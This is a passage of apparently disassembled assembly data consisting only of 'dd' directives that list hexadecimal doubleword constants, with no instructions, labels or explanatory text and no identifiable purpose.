		dd 8A9DA98Ch, 2AE87D00h, 80B7AB55h, 2DBA00DBh, 0E44DEF9Ah
		dd 5403936Ch, 0D07E4295h, 8B38C071h, 3DAF00F2h,	57B0EEA4h
		dd 0D500F8CFh, 0EDF46BA7h, 0EFF5DCh, 0A346B3B8h, 0CE13EB74h
		dd 0AB176D18h, 279429h,	76F7597Dh, 11473A58h, 71ECFE0h
		dd 0B54044A3h, 2D194BEAh, 6E9B0ECCh, 3E18264h, 0ECF273D8h
		dd 0C00F891h, 0AE939FB8h, 1BE586Ah, 3935E7D2h, 47A0C911h
		dd 69C5A034h, 0B700F4B2h, 0F57047F7h, 473EA65h,	24872A02h
		dd 0DF5AC0CBh, 90003316h, 0FB9247BCh, 36144Dh, 57E4EAFCh
		dd 72527BD0h, 7A3F1B00h, 79EC85D5h, 48A202BEh, 3EE9531h
		dd 8A9B1E40h, 0CC08B300h, 854937F0h, 0E0501FDh,	0E959FE4Fh
		dd 0E1BCFD28h, 0E6B4D853h, 6FDE6E03h, 0E03C50FDh, 14765AA5h
		dd 20F8213Ah, 0B083CCA0h, 0CF4E3F86h, 36D03300h, 8ABB471Dh
		dd 506B2D30h, 356A8CAh,	0F2804FB2h, 0D0971DBDh,	0B991FE4Ah
		dd 0BE192900h, 9BD9E60Eh, 94B80Fh, 3CD4EC37h, 3E7AF61h
		dd 0BBBA7003h, 0D8997EF7h, 3E21E4h, 10E0AB0Fh, 0D78880Ah
		dd 0C2F79E00h, 17D04A3Fh, 76422833h, 0CEF085h, 159D8961h
		dd 7B5FA330h, 0B5CC072Ch, 0A45BFF0Ah, 0C07E5780h, 50FE9F3h
		dd 0A85C3353h, 85D2001Ah, 502362CDh, 6E2DE500h,	7EA9BF79h
		dd 10172A7h, 0AA0EE19Bh, 0C029AD32h, 0DE7047E2h, 1807E57h
		dd 391C7B45h, 21A80A7h,	9473888Fh, 7C3FE076h, 0CF50C039h
		dd 61AA5C46h, 95471F00h, 0EBAE1211h, 0DFF40093h, 0DBB40AB9h
		dd 8A00CE8Ch, 4AF17E74h, 143EEC7Ah, 0A0A5D576h,	42D6F900h
		dd 0DB0D2429h, 9312DA00h, 9E23199h, 5B8F00E9h, 0DFB8E859h
		dd 0C6783934h, 195C4D00h, 0E50258B0h, 0BBAC1DAh, 873766A9h
		dd 29061141h, 0B63408C0h, 0AF823A54h, 64A80483h, 21B80C79h
		dd 17F875B4h, 0A2E76D00h, 37C25443h, 0DFFE1DEEh, 70683732h
		dd 0A6A5B41Fh, 0BFE6C006h, 0F2187D77h, 0D804AF24h, 0DA05527Ch
		dd 76EA1035h, 1C6CCF00h, 3E4823C1h, 1198F9F8h, 0DC13E8D7h
		dd 28C0CC3Ch, 4F0FB99Ah, 83CAACA7h, 0E5F5DDBDh,	53E13468h
		dd 0A2050C5Ah, 6053C87Bh, 0CFBC9704h, 0B89B10C3h, 1F7EB8E4h
		dd 0F770610h, 197D4FA7h, 1184DE76h, 8717E67h, 8A1E31C8h
		dd 1D185EC3h, 1B042168h, 5B45734Ah, 5F0C044Ch, 0D1E52025h
		dd 533C4067h, 9AE8B110h, 8520CB10h, 180A26B7h, 0EB880CADh
		dd 7A084253h, 43C73085h, 647BDC48h, 7F6F310Ch, 42CF61C3h
		dd 196334CDh, 33F62468h, 9719185Fh, 3104C08Bh, 0C8F3849h
		dd 44ECB05h, 2057CC48h,	0C5BB854Fh, 2950D31h, 0DAB47B0Ch
		dd 42184C27h, 0B49278BFh, 0C0302C2h, 483E87B3h,	22003D2h
		dd 0E075B974h, 0C0DB3518h, 0E371B419h, 7CF87615h, 0EC7A63Eh
		dd 9FECB7DCh, 208AB189h, 49282000h, 9D520063h, 0CF78A612h
		dd 0E41FD36Ch, 0F54F2633h, 0D7A10032h, 72EB336h, 0DA5B27B4h
		dd 81CB4492h, 0D414061Ch, 0B0A07AABh, 0E25441ACh, 2D004FC8h
		dd 3DCA097Fh, 6DB939Eh,	42E177E9h, 0BB06046Eh, 790F1EB2h
		dd 3AEAA1h, 52B60926h, 50C87A8Ch, 2747FC18h, 5C132588h
		dd 121E2110h, 0E02BC179h, 83B9A8BFh, 0B19445C8h, 1CD8478Eh
		dd 509B50C7h, 0F9AC5E15h, 48B18760h, 0F038AD6h,	0BADA7F35h
		dd 7BACCF20h, 0A101FF78h, 0FC1AC379h, 5880231Bh, 2CAF56B3h
		dd 6D00917Dh, 0B0B26CFEh, 1401D9A1h, 0C83F7B39h, 8695A980h
		dd 0A0637F5Bh, 0A0FA8250h, 18D7F5D3h, 29150819h, 0F005E77Fh
		dd 0F382CDBDh, 0B2CC3407h, 0A0C8CBA3h, 0B0EAD375h, 0D2860E2Dh
		dd 3C208A2Eh, 0B7407B63h, 1E95C800h, 6220EA83h,	0B316075Dh
		dd 60893565h, 0F347C397h, 0B85CE030h, 5C9DF68h,	0FB4EE553h
		dd 369C0060h, 0AD9397CAh, 0E914C601h, 0B3F3C7C5h, 911834h
		dd 0BA72AB69h, 0E2865FD4h, 88802F69h, 4D04683Eh, 0E6826377h
		dd 409460h, 99578EE0h, 12EC0E19h, 56797879h, 0F5FE5800h
		dd 17535A54h, 2523A41h,	8754A6A4h, 0D2019278h, 0A080B61Eh
		dd 76133A60h, 6BE4C809h, 0B60A3A3h, 0D386C090h,	3F18C324h
		dd 0E1E04CCEh, 2103C7B0h, 54D157A9h, 0AAD014ADh, 206C80E2h
		dd 96B84018h, 5D1D52F8h, 0CF84BBEh, 29AC9226h, 96BB1EAAh
		dd 8E84296Dh, 84BC7E8Dh, 80A18AAEh, 0D094253Ch,	7097BF00h
		dd 2B6214CAh, 3CCB00E9h, 0FF7A6B74h, 98C436B6h,	0CC883E89h
		dd 0FAD413B8h, 154400F5h, 0BC61D579h, 382C1404h, 0A0870E2Eh
		dd 2DD3BAA0h, 788A0D1h,	4890A2h, 7E13A865h, 664B951Ch
		dd 0E4845251h, 140EB30Eh, 8382E9D0h, 0F0B79AADh, 630422h
		dd 0DEFACBB1h, 6B95AFBDh, 0B21ACF03h, 0C836CC79h, 0C1298Eh
		dd 7F142426h, 84594D75h, 36BCF250h, 0CDC21A00h,	3C60E0EEh
		dd 94230E2Ch, 79E1F913h, 24F74F54h, 0D5409F98h,	41CE0926h
		dd 5889D84Dh, 0F4A0802h, 0C24ECF00h, 0FF7067h, 0FAE61950h
		dd 965E2E60h, 752A6BFCh, 0AA06C83Ch, 176C65C6h,	60ADF6E9h
		dd 0A831B0BFh, 0BE2BF9D8h, 0A20130DAh, 1443D54Eh, 7707EB18h
		dd 6C4CC874h, 706C2039h, 3027D5E2h, 0E35612F3h,	0B008941h
		dd 662FC81Ch, 1DD14647h, 954DC20h, 9CACC1CDh, 23BAA70h
		dd 0FC04BD16h, 0DCC07F24h, 0B540E667h, 0C887CDh, 67773A1Fh
		dd 0A5225E6Bh, 66CBE48h, 0B74CB127h, 0BCBB0051h, 9495B6A0h
		dd 0FE13ACFFh, 246026C6h, 89EA4Fh, 8E777F0Eh, 5295B2AAh
		dd 6BAE540Ch, 0D4481Ch,	0F00A6F22h, 3B8B5945h, 5CC76404h
		dd 8CCBD0E6h, 6A30AB04h, 55EF009Dh, 0B2BBFF56h,	150AC0Ch
		dd 3BA86C3Ah, 537A1B03h, 33E82D48h, 1F00AE83h, 0E9CBEA0Fh
		dd 19C9DA5h, 0DE40A9ABh, 240294CFh, 0D90065C4h,	10483EBh
		dd 76FB3B2h, 0BAABAB4h,	4838EB20h, 8400B75Bh, 0B89F2D12h
		dd 0B2279382h, 0E0A20624h, 0F0FE3F3Ch, 18F03B12h, 430DA848h
		dd 248A280Fh, 0D3C4A7h,	0E03954FAh, 0AF0B4202h,	600D65CFh
		dd 4F62E40h, 4341ED10h,	0CC08909Fh, 210030AEh, 6CD612A4h
		dd 160B7086h, 3A9B72h, 0E4821584h, 56016048h, 66CCAD1Ch
		dd 308355BCh, 0E2E36979h, 0AE146871h, 92CB15Eh,	20601B70h
		dd 0D1372F34h, 15BEF6ECh, 0D0E7E834h, 0F1A88B00h, 9F09EDC5h
		dd 0A5773276h, 0A4D341C0h, 60382486h, 73BC11CBh, 0C846AB4Fh
		dd 4CCBE608h, 202F3240h, 1B790186h, 6F17AC30h, 55BFD029h
		dd 748EA70Ch, 2408Fh, 7A737BFFh, 2AEF680Dh, 0FE7538h, 4539ED0Bh
		dd 4A57EFDh, 0A073F140h, 4C6CD243h, 55872851h, 60B33231h
		dd 95190112h, 4D85DBF0h, 9364707Ch, 1D04C49h, 0B7D5FB5Dh
		dd 40808ED3h, 0F422E3C5h, 0CB3F0339h, 0DD678ADCh, 4F00E8CEh
		dd 0D09BEF72h, 16A300BEh, 0E3D75C83h, 6D097DE9h, 38646854h
		dd 54CFFB20h
		dd 924DC8ABh, 189F9078h, 0B19A2280h, 1D0E769Ch,	49BA604Ah
		dd 6CFB022Ah, 9F88403Fh, 40E20037h, 77B8B1Fh, 0B7061108h
		dd 75EBECD5h, 0BBF10051h, 96E377B1h, 0ED078A08h, 0E2CDBEFBh
		dd 95AB0C80h, 77AA0025h, 2BA1039Ch, 30A08B2Ch, 7462739Eh
		dd 819FA788h, 4B592048h, 1D8688F0h, 8045F9D6h, 4312E951h
		dd 0A60F7135h, 3275E454h, 0C9BC3000h, 88B9F3A3h, 0A1281F5Bh
		dd 0A919E543h, 950921A8h, 5BB2180h, 5E604742h, 2BC7E00Eh
		dd 0F80980EDh, 638B79F9h, 0A0972898h, 0D6F3100h, 8FC35BABh
		dd 2334005Eh, 396C7AFCh, 17265790h, 0A926BA94h,	0C0EFE30Ah
		dd 0C70EAA26h, 0D9088096h, 7194D11h, 41C06598h,	0B91C207Ch
		dd 1DB00E97h, 8B34DC17h, 867B7600h, 5D61C9F2h, 280044BAh
		dd 2C36988Ch, 0BC012575h, 0FD7E483Dh, 2081E131h, 0D4308C05h
		dd 1307E45Ch, 0DF6A5202h, 7661B45h, 17CC1027h, 55029E34h
		dd 5D6E6401h, 0A3876091h, 9FC500BFh, 6F1B3811h,	0F1C68EDFh
		dd 4102BAh, 0EA1F83B2h,	2405EED6h, 0F37D520Eh, 0CDE56038h
		dd 482D0F64h, 78656607h, 0EB11C0D3h, 0AC0008D1h, 2E5F0E3Ch
		dd 1FB9A435h, 0BBA884h,	0E2D00BE3h, 4600EB11h, 8DC9870Fh
		dd 67C051h, 0F4E84B89h,	882B35BBh, 7E707801h, 0C984CD98h
		dd 1B17ECh, 190C3D1h, 442A4F10h, 3311961Fh, 0A8A59EC0h
		dd 22031Ah, 0D988657h, 0CE2AB6F0h, 4E93F01h, 0D12E0FF7h
		dd 0C3C0C4FDh, 0EF543EADh, 30531F01h, 4042D3FEh, 7C3245ECh
		dd 6FAB0126h, 6851FF00h, 0E0A2F159h, 5B1F00E8h,	0F8194E78h
		dd 88010C2Ch, 0B542BF3h, 60CAC2B7h, 0B246D4h, 0FF838D9Ch
		dd 0D3E6EAE2h, 0E4840900h, 0A261DE91h, 55DD07B0h, 208FA318h
		dd 0D7170143h, 0FD243600h, 869A3A13h, 392F0059h, 9CF98A9Dh
		dd 4300D1EFh, 2774E791h, 3C0F23E9h, 5F800414h, 13D74D2Fh
		dd 410763DCh, 0FDD5325Dh, 90FAC293h, 422848h, 2F4773Ch
		dd 907B5F35h, 0D696BC00h, 9854A9EBh, 716400AFh,	3B78FA87h
		dd 0A00019E2h, 0F62EDE5h, 30030435h, 5750AA39h,	0A70069EAh
		dd 511D5F3Fh, 76FCF9h, 9210230h, 1EEF0B78h, 0B2CAFB00h
		dd 28BF96C0h, 41C205FFh, 0C35FFAA9h, 4098061Fh,	8DFF711h
		dd 70BF8001h, 0EBCCF555h, 86710014h, 0C297EA65h, 181B947Dh
		dd 0A839BD3Dh, 0F0B80A5h, 42454627h, 75C69E0h, 600066AFh
		dd 64A3A0B3h, 0B7C93Ch,	1B012031h, 50EE0274h, 88177D37h
		dd 0E668B8C0h, 61578AAh, 2AF935EAh, 1000308Ch, 65799F87h
		dd 30B0FB2Bh, 0FE78DDA5h, 480F314Fh, 622753h, 7950D63Bh
		dd 0CAA31D38h, 0F2113015h, 87FE0BA6h, 93007C78h, 70FB22DFh
		dd 0E034E9F8h, 202652BAh, 2C81EE07h, 76AF4078h,	0D0006B7Ah
		dd 0D5DF408Fh, 9851118h, 3BDA2B44h, 0E366EF80h,	80762AAAh
		dd 5D2028C0h, 0B89DBB88h, 0DE08CA9Ah, 8157601Ch, 0EF5288ECh
		dd 0C406030h, 74607D61h, 35D150Dh, 0A19F38D4h, 0C463204Fh
		dd 8799D84h, 0DF30C503h, 44E73C58h, 0D93B80C0h,	684FAB8Fh
		dd 0E9028884h, 0A028814Ch, 8694BF00h, 0B854A4BDh, 3A4A0ADDh
		dd 0CC50F0C7h, 0D023FC68h, 6D1838C3h, 0D5ED4095h, 713068ADh
		dd 15A9ADE0h, 64453D86h, 0EF8B5CC2h, 2B684030h,	80186122h
		dd 0E9B2F283h, 0CCA0D24Dh, 0C72B33D7h, 0EF0344D0h, 0B835A802h
		dd 8981C8A1h, 0F08AC880h, 0DC58B00Eh, 0B082AAE7h, 0C727C285h
		dd 70BFB42Dh, 68D7F814h, 0D00A6087h, 0DE79D0F0h, 2510E718h
		dd 34B2B048h, 7210C732h, 0CA195048h, 802FC000h,	6B67F071h
		dd 7CF19DF0h, 10CDDD76h, 0D904A0E3h, 805D38BBh,	6250CEA9h
		dd 513C922h, 0A29EA059h, 88A02D89h, 0EE805888h,	8C350Ah
		dd 767E6610h, 0CE008D3Dh, 2D7490E7h, 3C41BD61h,	0DD1DF54Bh
		dd 46100051h, 6B9D766Dh, 1E200C63h, 0DCC02411h,	541D1428h
		dd 336C82A0h, 43E0198Ch, 8A427874h, 84597008h, 60EC1D0Eh
		dd 1505D76h, 0E128F8C5h, 29EAB043h, 0C2F8BD60h,	6C989678h
		dd 6776C640h, 0A9D21000h, 0CBB830F2h, 0BB7037E7h, 16FAC208h
		dd 0B037CC47h, 20706FE4h, 84A15D9Fh, 4AF857DEh,	77E0E144h
		dd 50801847h, 5D0A0F1h,	0A8C9B030h, 94902DDCh, 823839C2h
		dd 41755660h, 184DD504h, 50C151D0h, 28D08FDh, 1E63C9CAh
		dd 0B7E058D8h, 54996125h, 0AD3A160h, 28886089h,	0EEB49B40h
		dd 9F60A091h, 0FD98E1C4h, 5A202880h, 40F0F54Fh,	90CA4E14h
		dd 0DADA0F0h, 4E71296h,	0D63006B4h, 857EF05Fh, 3C185CE9h
		dd 8B4BEE0Ch, 126060FAh, 2CF5C520h, 0A10E6370h,	0C34EFE54h
		dd 52C2C058h, 7DC5B058h, 42BAC496h, 0D3E3A080h,	0B2043C94h
		dd 8BC7063Ah, 0D0EF011Ch, 0A41CB0F5h, 0AB588080h, 7EB43073h
		dd 0F4DFE031h, 0FB30E409h, 26DC00FEh, 3A50F3AFh, 605795CCh
		dd 0C29FB301h, 40DB9892h, 0E40D10B8h, 0D505707Fh, 1379F0CAh
		dd 192BA801h, 0D82250F5h, 15DD5D80h, 0C4A8F188h, 94A7B36Fh
		dd 0B12C4003h, 1828C6CEh, 0D0B23780h, 18A5BD93h, 3DC5BB0Fh
		dd 6006F790h, 90E409A0h, 10140874h, 0E0A0EDBBh,	0F2DC262Ch
		dd 0C0F4A023h, 0CA640213h, 0F0FB9750h, 3A420216h, 0C99DE40Ch
		dd 62CFCC81h, 0C19C22CAh, 7601A3D9h, 302929B8h,	0A14A8110h
		dd 84D445h, 0A3F849E0h,	0CAEA91DCh, 0A2D60E0Bh,	0B77F8563h
		dd 0D8CBBC0Ah, 5E607429h, 202FECE0h, 6315C873h,	0C150E4F5h
		dd 41E2A726h, 802805C7h, 70F5BC73h, 0C6B18C28h,	60C9F963h
		dd 90EEA0A1h, 766B050Eh, 6A7E91Dh, 8A4A8F4h, 3ED16F20h
		dd 3C574A23h, 2A0CD239h, 0C05086BEh, 0F2A33507h, 0F05A2410h
		dd 0D0405018h, 0CA540560h, 384A2A70h, 310AEEF8h, 0C4928AB7h
		dd 0F2929C9Ch, 581CA42Ch, 296E0127h, 84D9FD00h,	0D3527C5Dh
		dd 0B4E58050h, 0A0EA68DCh, 486DE0B4h, 96131C88h, 7E7438BFh
		dd 1B0DA400h, 2C86B7DFh, 40F40789h, 40F3B5F7h, 58299BD7h
		dd 1416771Fh, 0FA36BC40h, 4EF759h, 9C7CE951h, 7DCFDBBh
		dd 0D733AB00h, 5B46ACCAh, 153D01FFh, 3EBB1D96h,	86CEF49Bh
		dd 0FECF4C00h, 1A81758h, 0ACFC01DEh, 0E59CC95Fh, 1D7CE008h
		dd 5C000D7Ch, 974F8018h, 0EA2F12h, 0FB65901Ch, 0E952263Ch
		dd 66B8BC1Eh, 8377C1Ch,	0C0677083h, 9415Ch, 3FDB57A5h
		dd 0D13277A6h, 584810CFh, 0DC52FB0h, 64909CFDh,	0C0E50710h
		dd 4248F0FCh, 0DD155777h, 8164BCDBh, 0B1F8ABB0h, 4159EC11h
		dd 0BA1CF790h, 634107D0h, 1716774Fh, 644631E0h,	803C51A0h
		dd 0E88B02B8h, 146ECBBCh, 30C9DCE9h, 26E601C0h,	86FA0376h
		dd 0D0380C3Dh, 2A747FBCh, 0C417D701h, 54E47CD0h, 0F8D18C40h
		dd 63C5E859h, 70947867h, 0BE3ED7E0h, 613D1F03h,	0B9B7A56Dh
		dd 84D35825h, 0D79C79C1h, 0D833C4Ch, 9F64BF13h,	2092F9D8h
		dd 6C611700h, 2E569708h, 885F8840h, 7E3C28E8h, 0EA9C02B4h
		dd 0CF97427Bh, 51702898h, 62400676h, 20F648CCh,	94D0973Ah
		dd 0D81C61D7h, 2865B7h,	1C9664Ch, 4F736CFCh, 8C6F8257h
		dd 2822C7C8h, 0F708C203h, 1840D83Bh, 0F407125Fh, 0D0CE7B3Ch
		dd 0DDEC3941h, 108770F1h, 21F1591Ch, 448829D7h,	6D8C594h
		dd 0D0F7195Ch, 600DB931h, 17D00E24h, 2877881h, 59F205B7h
		dd 0A481CF77h, 20654637h, 8A66FF4Ch, 0F8589D48h, 0F42D3EEAh
		dd 0D0E16902h, 8C4360FCh, 838CFEA1h, 4F76A118h,	1F10A6F7h
		dd 67441DCh, 8813EE7Ch,	58FD2E01h, 0D0DFB057h, 0A30E51E0h
		dd 875BDAF4h, 14487BE4h
		dd 1714F0D6h, 57398886h, 9E9718E2h, 703C9C40h, 37183490h
		dd 5C400F8Eh, 0E4B8C503h, 88006F9h, 0E6F6820h, 18201F08h
		dd 30FCC637h, 0A8CC5E76h, 33575890h, 0E4085D8Fh, 0F5377012h
		dd 4BD2D05Ch, 18C0000Ch, 810BEE17h, 0EF098964h,	5A7402CCh
		dd 0D7D441F3h, 48A00C34h, 0AD1D7853h, 85FC0089h, 0DDD149Ah
		dd 0B9185063h, 345CE154h, 0E87C8C20h, 2EA7810h,	57A624B3h
		dd 0F4405DC5h, 50CC588Eh, 48790986h, 0AD19F46Ch, 0F7F87833h
		dd 0D95B1CE0h, 0DCBD1F24h, 1F03350h, 0CF7C9FCCh, 20166C86h
		dd 10547728h, 249272F4h, 0FCE83260h, 3DDCE28Ah,	0F8EE427Ch
		dd 5CF41700h, 0EC901006h, 0B0F33128h, 0FC763E28h, 0E1E87351h
		dd 21218A7Dh, 8E12A40Fh, 49F73402h, 0AC304185h,	2A1070A4h
		dd 2F9303DCh, 26EADCDBh, 58214037h, 305007F6h, 10697CF7h
		dd 0BC24C96Ah, 0DC0A64D6h, 4898E454h, 90B11C10h, 0FCBC3134h
		dd 205FC491h, 0F4A3CB14h, 0F08368A2h, 91877B7h,	5C205A88h
		dd 49349059h, 6B197034h, 348B3016h, 362653Ch, 6F9BAB0h
		dd 37123013h, 0CC0927DFh, 177883CEh, 8D06C4A7h,	2E8605Ch
		dd 731CDE01h, 0B33CC960h, 646050A8h, 80FA5817h,	0B7BBBC1Ch
		dd 0A097A53Ah, 0E4E84C29h, 222FC12h, 5BE03C08h,	63DE0040h
		dd 9865E2E9h, 3A81C500h, 0ACD906Ch, 2BF78C86h, 0B0A1189Ch
		dd 8748F6B7h, 1C9F2930h, 4A36A382h, 2C786827h, 97C0A04Eh
		dd 0A6400B89h, 202E5D37h, 7CF00B80h, 20A4AD7Dh,	8F29710Eh
		dd 4C78B860h, 0C9C72B49h, 986D8134h, 9937A8h, 0E2C93EECh
		dd 0AC884C7Ch, 0F3D9570Ch, 0F4A02C08h, 1850AEB7h, 20FB62F0h
		dd 18989644h, 707A3C26h, 74E8263Ah, 50147391h, 7431E086h
		dd 34499740h, 0F54A474h, 20C50EFCh, 0D406091Bh,	2468FB0Ch
		dd 1834F040h, 0E037F8CAh, 443893FDh, 876A7844h,	4F04C04h
		dd 540C29C5h, 0A34DFC60h, 49B12278h, 3024580Ch,	0D0243A00h
		dd 44AD9784h, 874ABD18h, 78AA59A4h, 5677923Ch, 542C144Ch
		dd 1885D718h, 88984517h, 4C535738h, 15931074h, 6056B12h
		dd 98FA0440h, 0F7E02363h, 31C901AFh, 0CD3CDBBDh, 3EA4403Fh
		dd 9C18DE03h, 0EE48023Bh, 8190C41Eh, 0EFC8C32Eh, 0D931087Ch
		dd 0E86C182Dh, 1CF5FC21h, 0B20F1085h, 5E18C3DBh, 987DA826h
		dd 0A049CB91h, 73143374h, 78129798h, 7004EF9Ch,	6C81D8DCh
		dd 0A7EF617Ch, 8C047C5h, 7850541Ch, 2AFA31E9h, 346FA420h
		dd 68985674h, 17501B3Ah, 1C45D9DCh, 50C25335h, 0BC80EB93h
		dd 0C4BACD3h, 3B1D9C10h, 5E03B138h, 0C48F5CE9h,	37C2A1FDh
		dd 0F5E7C0F3h, 0B7DC24F1h, 0D2DF80A4h, 0A7191D1Fh, 2CB0A65Ch
		dd 6A0EE49Ch, 9B178075h, 21D11E5h, 3D14D08Fh, 0E08FDEA8h
		dd 1C83314Eh, 10123635h, 5404D253h, 881A14Fh, 45F2B142h
		dd 0A8338198h, 29373BEh, 1E4450Ch, 799A7819h, 0F97C71C6h
		dd 0B71470EAh, 51CFA5Ch, 0E8804F37h, 0C303C8CBh, 6D2F3C92h
		dd 75CC3809h, 49A80EF5h, 0E87C0584h, 5F428045h,	203FBC0Ah
		dd 85E68760h, 31E49258h, 0F770956Ch, 0DC1C30F2h, 33A87E02h
		dd 6061DA97h, 74FC2E08h, 460ACB7h, 89DBECEAh, 8CF48092h
		dd 0C91AC81Dh, 87C8D6DCh, 0BC72E7B0h, 0B70CE1D7h, 0A58AC072h
		dd 264420A5h, 2C0C842Ch, 0B8A05BACh, 6E62D46Bh,	0C0554CF0h
		dd 988D97C8h, 0B1772CC0h, 1F9397FCh, 67220C54h,	74908688h
		dd 0D8A5BC26h, 0FAE8F706h, 0CCAE4D28h, 8608D637h, 6F01899h
		dd 17251498h, 67CC00C2h, 2437A508h, 934C8D7h, 1C023FA1h
		dd 0C8C05953h, 50908118h, 1230AE48h, 0C481711Ch, 308A3A91h
		dd 0BA06066h, 0D01CDACBh, 5AEC4006h, 90D80E1Bh,	0F7C8C472h
		dd 82CD27Dh, 917758C0h,	372C50B0h, 0DC0B141Ch, 0C348AADh
		dd 10E76258h, 120187F0h, 0E049190Ch, 94940B31h,	34CA0480h
		dd 44ADA5F9h, 0E8856E10h, 0CC81828h, 38707A05h,	1F28CC28h
		dd 0AE00A804h, 0F8DCE90Dh, 0F87CFDBAh, 38DE48D8h, 4DFBDB0h
		dd 0B983F110h, 1290C628h, 380FE1BCh, 0B210562Ch, 78856CF1h
		dd 0AAC805B7h, 227C2864h, 9324F671h, 0E38224B5h, 14FCC9B0h
		dd 8C2ED074h, 4C8A88A7h, 170CFCCEh, 503C90EAh, 509CEC31h
		dd 27DD874h, 9D11E45Ch,	88C70C15h, 5449082Dh, 0A4C4EC0Bh
		dd 0F0D1332Ch, 7C207128h, 8635CC7h, 1876EA18h, 0EB01819Ch
		dd 0A8EC515Ch, 1089B4D7h, 4424F43Ch, 8568B007h,	763AA49Ah
		dd 333C3CF5h, 12461027h, 6C2BC18h, 894FC04h, 402C9C24h
		dd 0B8064C93h, 0F81072BCh, 905D4C1Eh, 9CE326h, 0EA2B107Ch
		dd 8A3CBBDCh, 6EC71DE8h, 281FFC06h, 5EF426F0h, 89BF0C04h
		dd 545CE508h, 0C0D9264Ch, 6FEC5C06h, 64482008h,	14B0F606h
		dd 2638F05Dh, 89D401FCh, 58033E95h, 781B3F6Fh, 9C106B9Bh
		dd 0FEAE3C02h, 94D710C1h, 1CB41819h, 48EEA85Ch,	83458D0Eh
		dd 0C1234A17h, 9C715F77h, 0E9B8CDE0h, 0C63DAFD8h, 30291338h
		dd 400D0533h, 77201996h, 28970807h, 262858D0h, 9F0C88CCh
		dd 7420502Dh, 0B6B7302Eh, 67969C20h, 83CD0982h,	12D61918h
		dd 0B702740h, 5402A23Ch, 0A88374FCh, 80C1CDCh, 0E050AC9Ch
		dd 185B628Ah, 1460466Eh, 0C0A132B4h, 30C8BC66h,	113C202Ch
		dd 54189867h, 50F7E0AAh, 984DE80Fh, 0BAC0EE30h,	6ECA31C0h
		dd 8C584130h, 706F3D08h, 0E29CA3D8h, 9D544162h,	6F9EEC22h
		dd 9C4C540Ah, 24042E0Ch, 65765800h, 0AFB5508h, 1F904CFh
		dd 9E38A2DEh, 9AAAC4C4h, 0A2CC9C91h, 3303144Bh,	0A6442AB7h
		dd 0FB6C7818h, 98C8BC28h, 0E2188EA8h, 24B6904Ah, 16F4B655h
		dd 7C1806FAh, 0E8EBB019h, 6890F413h, 47C828A9h,	8DBCE98h
		dd 1120EBE3h, 609C18BFh, 0C35A1880h, 57BCFD14h,	301778A4h
		dd 0E00BDDEAh, 0C8E40135h, 485CCA8Dh, 0C6491E19h, 2CC0F192h
		dd 226871E6h, 22B4C024h, 40B6012Bh, 4B06C6B9h, 47F6DCDBh
		dd 0B88D6008h, 0EA287CFCh, 0A02790h, 41ED2CD7h,	21E132FCh
		dd 34E1C298h, 802C327Dh, 3C5AF788h, 0E9B7409Fh,	1CF41B05h
		dd 0E4040CCFh, 4483C754h, 26F87CC0h, 920F764h, 0EC051076h
		dd 9C4883F2h, 34640C48h, 9C8BF081h, 163C5603h, 0C812EAF2h
		dd 64C3050Ch, 99A926EDh, 3BBC0688h, 58260881h, 0A517305Eh
		dd 0F428A452h, 0AF3B0948h, 0C48FB751h, 808222C9h, 0D0A6EAF7h
		dd 0A88550E8h, 65BE84B9h, 309270A9h, 17CC9F4h, 6E239700h
		dd 0E20A38C9h, 78DC14F0h, 0FC2B22B9h, 10A66C7Fh, 2C22FA7Fh
		dd 0BC8C1851h, 481F606Fh, 60964274h, 88A0BCE0h,	2CC9C27Bh
		dd 0FC068731h, 0D8175230h, 27852C8Fh, 4C409092h, 60C48025h
		dd 811E5Dh, 7C4A5BF9h, 50226B06h, 0EC209968h, 79B712EBh
		dd 2164050Fh, 0C098A253h, 470A257Ah, 1FCE40A6h,	0D0F0C96h
		dd 0E02D5641h, 0A2E8A4F5h, 0FDF183ADh, 0D59070C7h, 80857098h
		dd 55BBA381h, 0CC00BEEFh, 0B081565Dh, 48DFBC74h, 990B6818h
		dd 8C16E952h, 0EEDBD32Eh, 2CC8C215h, 0DC0958A0h, 3C88804Eh
		dd 0B9DBDEF9h, 0EF416E14h, 207D88E6h, 39298C04h, 3BC0805Dh
		dd 404E9A61h, 95152C9Fh, 0C014FB3Ch, 922AB076h,	594C8038h
		dd 8C2C534Eh, 383B1593h, 0EC3A90CBh, 0F17C2864h, 6D7FD0C4h
		dd 6028A54Ah, 1A9B0AA3h, 8CC4F539h, 0ADB0657Eh,	6E908CE9h
		dd 7451F82Fh, 0C0AC9926h, 3120C0EEh, 7B1B33Fh, 1CEBF893h
		dd 909A08E9h, 0E24F6D58h, 0BC9C0027h, 0D5D7CCB1h, 0F1337A5h
		dd 0F88BE95Eh, 71AB047Eh
		dd 8BB1B884h, 0D1BE038Ch, 14DAE536h, 0EC498C20h, 0CA9712h
		dd 0AC81724h, 60FFD7A5h, 0AD333CD0h, 388C20F0h,	94D18809h
		dd 0FDFF7F4h, 0DEC71DBCh, 0D0C93B00h, 1F262FFCh, 52583CF4h
		dd 0B48418E1h, 752C7885h, 39606C60h, 32F7A5D1h,	0C780B3Ah
		dd 2CC1F842h, 0CFD4209Fh, 2E4BD78h, 0F733AB02h,	0C0C950D6h
		dd 9DBE010h, 0D0B9D7BCh, 0A714B416h, 86B46662h,	34C0F94Ch
		dd 3008D7F7h, 0CD5444ECh, 9633BC00h, 0C9CAA5A0h, 0EF120069h
		dd 8CC79166h, 470077CBh, 0ABF23814h, 41D0B6h, 765AA3DDh
		dd 354FCA17h, 0FC735501h, 43A80778h, 268C1448h,	0E1B53Ah
		dd 0BB564D09h, 2500D461h, 0C5C6BE2Ah, 4A1D02F1h, 0E85FC0Bh
		dd 418B06A3h, 4D087684h, 58E61CCh, 0F85825C6h, 7B14401Bh
		dd 38F5D8A1h, 164C1408h, 4850831h, 654403E0h, 366240E5h
		dd 0C6912D1Eh, 5C02473Eh, 2AAA4988h, 8F93D601h,	9B06504Ah
		dd 79C9D8A9h, 0A252F604h, 0D12865C6h, 7F72370Ch, 0A96C873h
		dd 45CDDFC2h, 209AC33Ch, 50E6C6DCh, 0E47AB60Ah,	41EE78CDh
		dd 4B10050Ah, 40565082h, 64B8D4C7h, 0D615BE31h,	0AA06163h
		dd 3CEA16ACh, 96981FE0h, 3DC628E4h, 3AC403A0h, 630965E6h
		dd 0D41185A1h, 4903C5E7h, 0F5258975h, 5945A069h, 78E65733h
		dd 14FFCF07h, 80B4AAEDh, 0E437A0CBh, 0E60C3FE9h, 486AFD25h
		dd 0EFB03C33h, 192B3D10h, 3470418Ch, 0E0E5C3EFh, 1F841D7Ah
